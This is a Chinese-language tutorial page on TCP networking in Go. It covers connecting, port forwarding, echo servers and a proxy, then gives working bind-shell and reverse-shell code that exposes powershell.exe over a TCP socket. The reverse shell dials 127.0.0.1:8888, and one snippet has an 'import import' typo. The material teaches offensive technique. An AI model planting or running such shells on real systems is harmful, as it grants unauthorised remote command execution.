跳转至
#golang 
本文阅读量 

第二章-网络连接#

建立TCP连接与代理#

  • 简单地连接到某个ip和端口
package main

import (
  "fmt"
  "net"
)

func main() {
  conn, err := net.Dial("tcp", "scanme.nmap.org:80")
  defer conn.Close()
  if err == nil {
    fmt.Println("Connect success")
  }
}
  • 简单地实现端口转发
package main

import (
  "io"
  "log"
  "net"
  "strings"
)

func proxy(conn net.Conn) {
  dst, err := net.Dial("tcp", "localhost:80")
  defer func() {
    dst.Close()
    conn.Close()
  }()
  if err != nil {
    log.Fatalf("Error: %v\n", err)
  }
  go func() {
    if _, err := io.Copy(dst, conn); err != nil && !strings.Contains(err.Error(), "closed") {
      log.Printf("2 Error: %v\n", err)
    }
  }()
  if _, err := io.Copy(conn, dst); err != nil && !strings.Contains(err.Error(), "closed") {
    log.Printf("1 Error: %v\n", err)
  }
}

func main() {
  listener, err := net.Listen("tcp", ":8888")
  if err != nil {
    log.Fatalf("Error: %v\n", err)
  }
  for {
    conn, err := listener.Accept()
    if err != nil {
      log.Fatalf("Error: %v\n", err)
    }
    go proxy(conn)
  }
}

echo服务器的三种实现方式#

  1. 最底层的实现方式,使用net.Conn.Readnet.Conn.Write底层函数

  2. 使用golang自带的bufio包,使用bufio.NewReader.ReadStringbufio.NewWriter.WriteString实现,自带缓存,在写入的时候可能需要flush才能立即显示

  3. 使用golang自带的io包,使用io.Copy(dst *io.Writer, src *io.Reader)实现,可以自己实现Reader和Writer,只需要实现Read(b []byte) (int, error)Write(b []byte) (int, error)即可

简单代理的实现方式#

核心

  • 使用net.Listen监听端口建立服务器

  • 当监听到新的连接时交给一个新的协程处理

  • 协程中使用net.Dial连接到需要代理的目标,并使用io.Copy将请求源的请求发送至目标(起一个新的协程),将目标的响应发送至请求源

Golang正向shell的实现方式#

核心

  • 使用net.Listen监听端口建立服务器

  • 当监听到新的连接时交给一个新的协程处理

  • 协程大致流程

import (
  "io"
  "log"
  "net"
  "os/exec"
)

func handle(conn net.Conn) {
  cmd := exec.Command("powershell.exe")
  rp, wp := io.Pipe()
  cmd.Stdin = conn     // read input from conn
  cmd.Stdout = wp      
  cmd.Stderr = wp      
  go io.Copy(conn, rp) // read output to conn
  cmd.Run()
  conn.Close()
}

func handle2(conn net.Conn) { // 后来发现可以直接这样
  cmd := exec.Command("powershell.exe")
  cmd.Stdin = conn
  cmd.Stdout = conn
  cmd.Stderr = conn
  cmd.Run()
  conn.Close()
}

func main() {
  listener, err := net.Listen("tcp", ":20080")
  if err != nil {
    log.Fatalln("Unable to bind to port")
  }
  log.Println("Listening on 0.0.0.0:20080")
  for {
    conn, err := listener.Accept()
    if err != nil {
      log.Fatalln("Unable to accept connetcion")
    }
    go handle(conn)
  }
}

Golang反向shell实现方式#

核心

和正向shell一样

import import (
  "io"
  "net"
  "os/exec"
)

func handle2(conn net.Conn) { // 后来发现可以直接这样
  cmd := exec.Command("powershell.exe")
  cmd.Stdin = conn
  cmd.Stdout = conn
  cmd.Stderr = conn
  cmd.Run()
  conn.Close()
}

func main() {
  reConn, _ := net.Dial("tcp", "127.0.0.1:8888")
    handle2(reConn);
}
回到页面顶部